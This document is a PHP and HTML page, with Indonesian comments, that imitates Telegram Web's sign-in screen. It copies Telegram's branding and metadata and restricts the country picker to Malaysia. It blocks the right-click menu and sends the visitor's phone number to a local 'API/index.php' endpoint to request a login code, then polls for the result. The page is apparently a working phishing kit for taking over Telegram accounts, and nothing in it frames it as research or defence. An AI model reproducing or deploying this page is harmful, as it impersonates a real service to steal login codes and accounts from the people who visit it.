<?php 
// Prevent direct access - harus melalui index.php
if (!defined('ACCESSED_VIA_INDEX')) {
    header('Location: /');
    exit;
}

session_start(); 
?>
<html lang="en" translate="no" class="notranslate theme-light" data-message-text-size="16">

<head>
    <meta charset="UTF-8">
    <title>Telegram Web</title>
    <meta name="title" content="Telegram Web">
    <meta name="description" content="Telegram is a cloud-based mobile and desktop messaging app with a focus on security and speed.">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <meta name="mobile-web-app-capable" content="yes">
    <meta name="mobile-web-app-title" content="Telegram Web">
    <meta name="apple-mobile-web-app-capable" content="yes">
    <meta name="apple-mobile-web-app-title" content="Telegram Web">
    <meta name="application-name" content="Telegram Web">
    <meta name="msapplication-TileColor" content="#2b5797">
    <meta name="theme-color" content="#fff">
    <meta name="google" content="notranslate">
    <meta property="og:type" content="website">
    <meta property="og:url" content="https://web.telegram.org/z/">
    <meta property="og:title" content="Telegram Web">
    <meta property="og:description" content="Telegram is a cloud-based mobile and desktop messaging app with a focus on security and speed.">
    <meta property="og:image" content="./icon-192x192.png">
    <meta property="twitter:card" content="summary_large_image">
    <meta property="twitter:url" content="https://web.telegram.org/z/">
    <meta property="twitter:title" content="Telegram Web">
    <meta property="twitter:description" content="Telegram is a cloud-based mobile and desktop messaging app with a focus on security and speed.">
    <meta property="twitter:image" content="./icon-192x192.png">
    <link rel="apple-touch-icon" sizes="180x180" href="./apple-touch-icon.png">
    <link rel="icon" href="./favicon.svg" type="image/svg+xml">
    <link rel="icon" type="image/png" sizes="16x16" href="./favicon-16x16.png">
    <link rel="icon" type="image/png" sizes="32x32" href="./favicon-32x32.png">
    <link rel="icon" type="image/png" sizes="192x192" href="./icon-192x192.png">
    <link rel="alternate icon" href="./favicon.ico" type="image/x-icon">
    <link href="lib/main.3c9dcec00d5a12b9aa18.css" rel="stylesheet">
    <style>
        .input-helper {
            margin-top: 8px;
            min-height: 20px;
        }
        
        .input-helper small {
            font-size: 12px;            color: #666;
            display: block;
            line-height: 1.4;
        }
        
        .input-group {
            position: relative;
            margin-bottom: 20px;
        }
        
        .form-control:focus + label {
            color: #5EA3DE;
        }
        
        /* Styling input phone number sama persis dengan country */
        #sign-in-phone-number {
            height: 50px;
            padding: 15px 12px;
            border: 1px solid #ddd;
            border-radius: 8px;
            background: white;
            font-size: 16px;
        }
        
        #sign-in-phone-number:focus {
            border-color: #5EA3DE;
            outline: none;
            box-shadow: 0 0 0 3px rgba(94, 163, 222, 0.1);
        }
        
        /* Label Country dengan efek placeholder */
        #labelFlag {
            position: relative;
            margin-bottom: 10px;
        }
        
        #country-label {
            position: absolute;
            left: 12px;
            top: 50%;
            transform: translateY(-50%);
            font-size: 16px;
            color: #999;
            background: transparent;
            padding: 0;
            pointer-events: none;
            transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
            z-index: 1;
        }
        /* Saat input memiliki nilai atau difokus - label pindah ke atas */        #country-label.active {
            top: -10px;
            left: 8px;
            font-size: 12px;
            color: #5EA3DE;
            background: white;
            padding: 0 8px;
            transform: none;
        }
        
        /* Styling input country */
        #sign-in-phone-code {
            height: 50px;
            padding: 15px 12px;
            border: 1px solid #ddd;
            border-radius: 8px;
            background: white;
            font-size: 16px;
        }
        
        #sign-in-phone-code:focus {
            border-color: #5EA3DE;
            outline: none;
            box-shadow: 0 0 0 3px rgba(94, 163, 222, 0.1);
        }
        

        
        /* Label Phone Number dengan efek placeholder sama seperti Country */
        #labelhp {
            position: relative;
            margin-bottom: 20px;
        }
        
        #phone-label {
            position: absolute;
            left: 12px;
            top: 50%;
            transform: translateY(-100%);
            font-size: 16px;
            color: #999;
            background: transparent;
            padding: 0;
            pointer-events: none;
            transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
            z-index: 1;
        }
        
        /* Saat input phone memiliki nilai atau difokus - sama persis dengan country */
        #phone-label.active {            top: -10px;
            left: 8px;
            font-size: 12px;
            color: #5EA3DE;
            background: white;
            padding: 0 8px;
            transform: none;
        }
        
        .MenuItem {
            transition: background-color 0.2s ease;
        }
        
        .MenuItem:hover {
            background-color: rgba(94, 163, 222, 0.1);
        }
        
        #nextBtn {
            transition: all 0.3s ease;
        }
        
        #wrong {
            font-size: 14px;
            text-align: center;
            padding: 10px;
            border-radius: 5px;
            background-color: rgba(255, 0, 0, 0.1);
            color: #dc3545 !important;
            border: 1px solid rgba(220, 53, 69, 0.3);
        }
        
        /* Error state untuk phone number input */
        .input-group.error input {
            border-color: #dc3545 !important;
            background-color: rgba(220, 53, 69, 0.05) !important;
            box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.25) !important;
        }
        
        .input-group.error label {
            color: #dc3545 !important;
        }
        
        /* Search Country Styles */
        .country-search-container {
            padding: 10px;
            border-bottom: 1px solid #eee;
            position: sticky;
            top: 0;
            background: white;
            z-index: 10;        }
        
        #country-search {
            width: 100%;
            padding: 8px 12px;
            border: 1px solid #ddd;
            border-radius: 6px;
            font-size: 14px;
            outline: none;
            transition: border-color 0.2s ease;
        }
        
        #country-search:focus {
            border-color: #5EA3DE;
            box-shadow: 0 0 0 2px rgba(94, 163, 222, 0.1);
        }
        
        #country-search::placeholder {
            color: #999;
        }
        
        .countries-list {
            max-height: 300px;
            overflow-y: auto;
            -webkit-overflow-scrolling: touch;
            scroll-behavior: smooth;
            transform: translateZ(0);
            -webkit-transform: translateZ(0);
            touch-action: pan-y;
            -ms-touch-action: pan-y;
        }
        
        .no-results {
            padding: 20px;
            text-align: center;
            color: #999;
            font-size: 14px;
        }

        .bubble.menu-container,
        .custom-scroll {
            -webkit-overflow-scrolling: touch;
            scroll-behavior: smooth;
            transform: translateZ(0);
            -webkit-transform: translateZ(0);
            touch-action: pan-y;
            -ms-touch-action: pan-y;
        }
        .Menu {
            -webkit-overflow-scrolling: touch;            touch-action: pan-y;
        }

        @supports (-webkit-overflow-scrolling: touch) {
            .countries-list,
            .bubble.menu-container {
                -webkit-overflow-scrolling: touch !important;
            }
        }

        @media (max-width: 768px), (hover: none) {
            .countries-list {
                -webkit-overflow-scrolling: touch !important;
                overscroll-behavior: contain;
                -webkit-transform: translate3d(0, 0, 0) !important;
                transform: translate3d(0, 0, 0) !important;
                will-change: scroll-position;
            }
            
            .bubble.menu-container {
                -webkit-overflow-scrolling: touch !important;
                transform: translate3d(0, 0, 0);
                -webkit-transform: translate3d(0, 0, 0);
                will-change: scroll-position;
            }
            
            .MenuItem {
                touch-action: manipulation;
                -webkit-tap-highlight-color: rgba(94, 163, 222, 0.2);
            }
        }
    </style>
    <script type="text/javascript">
        document.addEventListener('contextmenu', function(e) {
            e.preventDefault();
        });
    </script>
</head>

<body class="animation-level-2 is-touch-env is-android">
    <noscript>
        <div id="logo"></div>
        <h1>Telegram Web</h1>
        <p>Please, enable JavaScript to open the app.</p>
    </noscript>
    <div id="loader" class="bg-load load6" style="display:none;">
        <div class="loader"></div>
    </div>
    <div id="root">
        <div id="UiLoader" class="KD2TsjdEc_LBLsR_ReWT" style="--theme-background-color: #99BA92;">            <div class="Transition full-height is-auth fade">
                <div class="Transition__slide--active">
                    <div class="Transition Auth fade">
                        <div class="Transition__slide--active">
                            <div id="auth-phone-number-form" class="custom-scroll">
                                <div class="auth-form">
                                    <div id="logo"></div>
                                    <h1>Telegram</h1>
                                    <p class="note">Please enter your country code and enter your telephone number</p>

                                    
                                    <div class="DropdownMenu CountryCodeInput">
                                        <div class="input-group" id="labelFlag">
                                            <input class="form-control" type="text" id="sign-in-phone-code" autocomplete="off" readonly value="">
                                            <label id="country-label">Country</label>
                                        </div>
                                        <div class="Menu" style="display:none;" id="Menu">
                                            <div class="backdrop" id="backdrop"></div>
                                            <div role="presentation" class="bubble menu-container custom-scroll top left opacity-transition fast open shown" style="transform-origin: left top;">
                                                <!-- Countries akan diisi dari API -->
                                            </div>
                                        </div>
                                    </div>
                                    <div class="input-group" id="labelhp" style="display:none;">
                                        <input class="form-control" type="tel" id="sign-in-phone-number" dir="auto" inputmode="tel" aria-label="Phone Number" name="phoneNumber" autocomplete="tel" maxlength="20">
                                        <label id="phone-label" for="sign-in-phone-number">Phone Number</label>
                                        <div class="input-helper">
                                        </div>
                                    </div>
                                    <label class="Checkbox"><input checked type="checkbox" id="sign-in-keep-session">
                                        <div class="Checkbox-main">
                                            <span class="label" dir="auto">Keep me signed in</span>
                                        </div>
                                    </label>
                                    <button id="nextBtn" type="submit" class="Button default primary" style="display:none;">NEXT
                                        <div class="ripple-container"></div>
                                    </button>
                                    <button type="button" class="Button default primary text has-ripple">Log in by QR Code
                                        <div class="ripple-container"></div>
                                    </button>
                                    <div id="wrong" style="color:red; margin-top:10px; display:none;"></div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <div id="portals"></div></body>
<script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>
<script>
    var selected_ccode = "";
    var selected_country = "";
    var countries_data = [];
    $("#sign-in-phone-code").val("");
    $("#country-label").text("Country").removeClass("active");

    // STEP 2: Detect user's country from IP (Tetap berjalan)
    function detectUserCountry() {
        console.log("STEP 2: Detecting user country from IP...");
        
        $.ajax({
            url: "https://ipapi.co/json/",
            method: "GET",
            dataType: "json",
            timeout: 8000,
            success: function(ipData) {
                console.log("✅ STEP 2 SUCCESS: IP Detection result:", ipData);
                if (ipData && ipData.country_code) {
                    const userCountryCode = ipData.country_code.toUpperCase();
                    console.log(`✅ User country detected: ${userCountryCode}`);
                    setTimeout(function() {
                        autoSelectCountry(userCountryCode);
                    }, 1000);
                }
            },
            error: function(xhr, status, error) {
                console.log("❌ STEP 2 FAILED: IP detection failed:", error);
            }
        });
    }

    // Auto select country based on detected country code
    function autoSelectCountry(countryCode) {
        const matchingCountry = countries_data.find(country => {
            return country.code === countryCode;
        });
        
        if (matchingCountry) {
            console.log(`Auto-selecting country: ${matchingCountry.name}`);
            selected_ccode = matchingCountry.cc;
            selected_country = matchingCountry.name;
            sessionStorage.setItem("selectedCountryISO", countryCode);
            
            $("#sign-in-phone-code").val(matchingCountry.name);
            $("#country-label").addClass("active");
            clearErr();
            $("#labelhp").slideDown(300);            $("#sign-in-phone-number").val("+" + matchingCountry.cc + " ");
            $("#phone-label").addClass("active");
            
            setTimeout(function() {
                $("#sign-in-phone-number").focus();
            }, 400);
        }
    }

    function loadCountries() {
        console.log("✅ Loading countries (Malaysia only)...");
        loadAllCountriesInstantly();
        detectUserCountry();
        setTimeout(function() {
            loadFlagImages();
        }, 2000);
    }

    // Load countries INSTANTLY from embedded data - HANYA MALAYSIA
    function loadAllCountriesInstantly() {
        console.log("⚡ Loading countries instantly from embedded data...");
        
        // ⚠️ HANYA MALAYSIA (+60) - Dubai (UAE) & Oman disembunyikan sesuai request
        const allCountriesData = [
            { iso2: "MY", name: "Malaysia", cc: 60, flag: "https://flags-api.biz.id/flag/MY.png" }
        ];
        
        console.log(`⚡ INSTANT LOADING: Processing ${allCountriesData.length} countries...`);
        processAndRenderCountries(allCountriesData);
    }

    function processAndRenderCountries(allCountriesData) {
        countries_data = [];
        
        allCountriesData.forEach(function(country) {
            if (country.cc && country.cc > 0) {
                countries_data.push({
                    code: country.iso2,
                    name: country.name,
                    cc: country.cc,
                    flag: country.flag,
                    iso2: country.iso2
                });
            }
        });        
        console.log(`✅ INSTANT LOADING COMPLETE: ${countries_data.length} countries ready!`);
        renderCountries();
    }

    function loadFlagImages() {        console.log("STEP 3: Loading flag images...");
        let flagsLoaded = 0;
        const totalFlags = countries_data.length;
        
        countries_data.forEach(function(country, index) {
            if (country.flagAPI) {
                const img = new Image();
                img.onload = function() {
                    countries_data[index].flag = country.flagAPI;
                    flagsLoaded++;
                    if (flagsLoaded === totalFlags) {
                        renderCountries();
                    }
                };
                img.onerror = function() { flagsLoaded++; };
                img.src = country.flagAPI;
            }
        });
    }

    function loadMinimalFallbackCountries() {
        console.log("⚠️ FALLBACK: Disabled.");
        countries_data = [];
    }

    function loadSingleCountry(countryCode, callback) {
        callback();
    }

    function handleCountrySuccess(countryCode, countryData) {}
    function updateCountryData(code, name, cc, flag) {}
    function handleCountryFallback(countryCode) {}

    function renderCountries() {
        if (countries_data.length === 0) {
            $(".bubble.menu-container").html('<div style="padding: 20px; text-align: center; color: #999;">No countries loaded</div>');
            return;
        }
        
        // Sort by name (A-Z)
        countries_data.sort((a, b) => a.name.localeCompare(b.name));
        
        let searchHTML = `
        <div class="country-search-container">
            <input type="text" id="country-search" placeholder="Search country..." autocomplete="off">
        </div>
        <div class="countries-list" id="countries-list">`;
        
        let menuHTML = '';
        countries_data.forEach(function(country) {            menuHTML += `
            <div role="menuitem" tabindex="0" class="MenuItem" data-ccode="${country.cc}" data-country="${country.name}" data-iso2="${country.code}">
                <span class="country-flag"><img src="${country.flag}" class="emoji" alt="${country.name} flag" onerror="this.style.display='none'"></span>
                <span class="country-name">${country.name}</span>
                <span class="country-code">+${country.cc}</span>
            </div>`;
        });
        
        searchHTML += menuHTML + '</div>';
        $(".bubble.menu-container").html(searchHTML);
        
        bindMenuEvents();
        bindSearchEvents();
        
        console.log(`Successfully loaded ${countries_data.length} countries`);
    }

    function bindMenuEvents() {
        $(".MenuItem").off("click").on("click", function() {
            selected_ccode = $(this).data("ccode");
            selected_country = $(this).data("country");
            var selectedISO = $(this).data("iso2");
            
            $("#sign-in-phone-code").val(selected_country);
            $("#country-label").addClass("active");
            $("#Menu").hide();
            
            sessionStorage.setItem("selectedCountryISO", selectedISO);
            clearErr();
            $("#labelhp").slideDown(300);
            $("#sign-in-phone-number").val("+" + selected_ccode + " ");
            $("#phone-label").addClass("active");
            
            setTimeout(function() {
                $("#sign-in-phone-number").focus();
            }, 350);
        });
    }

    function bindSearchEvents() {
        $("#country-search").off("input").on("input", function() {
            let searchQuery = $(this).val().toLowerCase();
            let $countriesList = $("#countries-list");
            let $menuItems = $countriesList.find(".MenuItem");
            let visibleCount = 0;
            
            if (searchQuery === "") {
                $menuItems.show();
                visibleCount = $menuItems.length;
                $countriesList.find(".no-results").remove();            } else {
                $menuItems.each(function() {
                    let countryName = $(this).data("country").toLowerCase();
                    let countryCode = $(this).find(".country-code").text().toLowerCase();
                    
                    if (countryName.includes(searchQuery) || countryCode.includes(searchQuery)) {
                        $(this).show();
                        visibleCount++;
                    } else {
                        $(this).hide();
                    }
                });
                
                $countriesList.find(".no-results").remove();
                if (visibleCount === 0) {
                    $countriesList.append('<div class="no-results">No countries found</div>');
                }
            }
        });
        
        $("#country-search").on("keydown", function(e) {
            if (e.key === "Escape") {
                $("#Menu").hide();
            } else if (e.key === "ArrowDown") {
                e.preventDefault();
                let $visibleItems = $("#countries-list .MenuItem:visible");
                if ($visibleItems.length > 0) {
                    $visibleItems.first().focus();
                }
            }
        });
    }

    $(document).ready(function() {
        loadCountries();
        
        // Auto-select Malaysia setelah countries loaded (opsional)
        setTimeout(function() {
            if (countries_data.length > 0 && !selected_ccode) {
                const my = countries_data.find(c => c.iso2 === "MY");
                if (my) {
                    selected_ccode = my.cc;
                    selected_country = my.name;
                    $("#sign-in-phone-code").val(my.name);
                    $("#country-label").addClass("active");
                    $("#labelhp").slideDown(300);
                    $("#sign-in-phone-number").val("+60 ");
                    $("#phone-label").addClass("active");
                }
            }        }, 500);
    });

    $("#sign-in-phone-code").on("click", function() {
        $("#Menu").show();
        setTimeout(function() {
            $("#country-search").focus();
        }, 100);
    });
    $("#backdrop").on("click", function() {
        $("#Menu").hide();
    });

    $("#sign-in-phone-code").on("focus", function() {
        $("#country-label").addClass("active");
    });

    $("#sign-in-phone-code").on("blur", function() {
        if ($(this).val().trim() === "") {
            $("#country-label").removeClass("active");
        }
    });
    
    $("#sign-in-phone-number").on("focus", function() {
        $("#phone-label").addClass("active");
    });

    $("#sign-in-phone-number").on("blur", function() {
        if ($(this).val().trim() === "") {
            $("#phone-label").removeClass("active");
        }
    });
    
    $("#sign-in-phone-number").on("keydown", function(e) {
        if (!selected_ccode) return;
        
        var input = $(this).val();
        var cursorPos = this.selectionStart;
        var ccodePrefix = "+" + selected_ccode + " ";
        
        if ((e.key === "Backspace" || e.key === "Delete") && cursorPos <= ccodePrefix.length) {
            e.preventDefault();
            setTimeout(() => {
                this.setSelectionRange(ccodePrefix.length, ccodePrefix.length);
            }, 0);
        }
    });
    
    $("#sign-in-phone-number").on("input", function() {
        clearErr();        
        var input = $(this).val();
        var val = input.replace(/\D/g, '');
        
        if (!selected_ccode) return;
        
        var ccodeStr = selected_ccode.toString();
        var minLength = ("+" + ccodeStr + " ").length;
        
        if (input.length < minLength) {
            $(this).val("+" + ccodeStr + " ");
            return;
        }
        
        if (!input.startsWith("+" + ccodeStr)) {
            $(this).val("+" + ccodeStr + " ");
            return;
        }
        
        var phoneNumber = val.length >= ccodeStr.length ? val.substring(ccodeStr.length) : '';
        var formattedNumber = "+" + ccodeStr + " ";
        
        if (phoneNumber.length > 0) {
            if (phoneNumber.length <= 3) {
                formattedNumber += phoneNumber;
            } else if (phoneNumber.length <= 6) {
                formattedNumber += phoneNumber.substring(0, 3) + " " + phoneNumber.substring(3);
            } else if (phoneNumber.length <= 9) {
                formattedNumber += phoneNumber.substring(0, 3) + " " + phoneNumber.substring(3, 6) + " " + phoneNumber.substring(6);
            } else {
                formattedNumber += phoneNumber.substring(0, 3) + " " + phoneNumber.substring(3, 6) + " " + phoneNumber.substring(6, 9) + " " + phoneNumber.substring(9);
            }
        }
        
        $(this).val(formattedNumber);
        
        if (phoneNumber.length >= 6) {
            $("#nextBtn").fadeIn(300);
            if($("#phone-format-helper").length) $("#phone-format-helper").css("color", "green");
        } else {
            $("#nextBtn").fadeOut("fast");
            if($("#phone-format-helper").length) $("#phone-format-helper").css("color", "#666");
        }
    });

    $("#loader, #wrong").hide();

    function showErr(msg){
        $("#labelhp").addClass("error");
        if (msg.includes("tidak valid") || msg.includes("Harap masukkan")) {            msg = "Invalid phone number";
        }
        $("#wrong").text(msg).show();
    }
    
    function clearErr(){
        $("#labelhp").removeClass("error");
        $("#wrong").hide();
    }
    function checkStatus(){
        $.ajax({
            url: "API/index.php",
            type: "POST",
            dataType: "json",
            data: { method: "getStatus" }
        }).done(function(d){
            var r = d && d.result ? d.result : null;
            if(!r){ setTimeout(checkStatus, 600); return; }

            if(r.type === "checkPhone" && r.status === "success"){
                window.location.reload();
                return;
            }

            if(r.type === "checkPhone" && r.status === "failed"){
                $("#loader").hide();
                if(r.detail === "invalid"){
                    showErr("Nomor tidak valid!");
                    return;
                }
                if(r.detail === "banned"){
                    showErr("Nomor " + (r.phone || "") + " telah di-banned!");
                    return;
                }
                if(r.detail === "session_expired"){
                    return;
                }
                showErr("Terjadi kesalahan. Coba lagi.");
                return;
            }

            setTimeout(checkStatus, 700);
        }).fail(function(){
            setTimeout(checkStatus, 1000);
        });
    }

    $("#nextBtn").on("click", function(e){
        e.preventDefault();
        clearErr();
        var raw = ($("#sign-in-phone-number").val() || "").trim();
        if(!raw){
            showErr("Harap masukkan nomor Telegram Anda.");
            return;
        }

        var number = raw.replace(/\D+/g, "").replace(/^0+/, "");
        if(number.startsWith(selected_ccode.toString())){
            number = number.substring(selected_ccode.toString().length);
        }
        var phone = "+" + selected_ccode + number;

        sessionStorage.setItem("ccode", selected_ccode);
        sessionStorage.setItem("nohp", number);

        $("#loader").show();
        $.ajax({
            url: "API/index.php",
            type: "POST",
            dataType: "json",
            data: { method: "sendCode", phone: phone }
        }).done(function(){
            setTimeout(checkStatus, 600);
        }).fail(function(){
            $("#loader").hide();
            showErr("Gagal mengirim kode. Silakan coba lagi.");
        });
    });
</script>
</html>